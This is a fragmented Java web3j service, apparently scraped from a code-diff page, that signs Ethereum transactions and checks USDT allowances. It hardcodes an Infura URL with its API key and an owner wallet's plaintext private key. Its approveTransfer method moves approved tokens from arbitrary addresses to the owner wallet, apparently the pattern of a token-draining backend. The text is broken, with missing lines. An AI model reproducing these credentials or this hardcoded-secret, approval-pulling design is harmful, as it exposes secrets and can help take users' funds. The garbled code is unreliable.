| | |
| | |
|
| | | import cc.mrbird.febs.common.exception.FebsException;
|
| | | import cn.hutool.core.collection.CollUtil;
|
| | | import com.alibaba.fastjson.JSONObject;
|
| | | import lombok.extern.slf4j.Slf4j;
|
| | | import org.apache.commons.lang3.StringUtils;
|
| | | import org.web3j.abi.FunctionEncoder;
|
| | |
| | | //private static final String ETH_UTL = "http://120.55.86.146:8545";
|
| | | // private static final String ETH_UTL = "http://114.55.250.231:8545";
|
| | | private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
|
| | | private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024";
|
| | | private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37";
|
| | |
|
| | | public EthService() {
|
| | | try {
|
| | |
| | | byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
|
| | | String hexValue = Numeric.toHexString(signedMessage);
|
| | |
|
| | | // log.debug("transfer hexValue:" + hexValue);
|
| | |
|
| | | CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
|
| | | EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
|
| | | //return "hash";
|
| | | // log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
|
| | |
|
| | | if (ethSendTransaction.hasError()) {
|
| | | // log.info("transfer error:", ethSendTransaction.getError().getMessage());
|
| | | return "";
|
| | | } else {
|
| | | String transactionHash = ethSendTransaction.getTransactionHash();
|
| | | // log.info("Transfer transactionHash:" + transactionHash);
|
| | | return transactionHash;
|
| | | }
|
| | | }
|
| | |
|
| | | public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
|
| | | try {
|
| | | return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
|
| | | } catch (InterruptedException | ExecutionException e) {
|
| | | e.printStackTrace();
|
| | | return "";
|
| | | }
|
| | | }
|
| | |
|
| | |
| | | }
|
| | | }
|
| | |
|
| | | public BigInteger ethAllowance(String address) {
|
| | | return ethAllowance(OWNER_ADDRESS, address);
|
| | | }
|
| | |
|
| | | public BigInteger ethAllowance(String toAddress, String fromAddress) {
|
| | | String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
|
| | | String methodName = "allowance";
|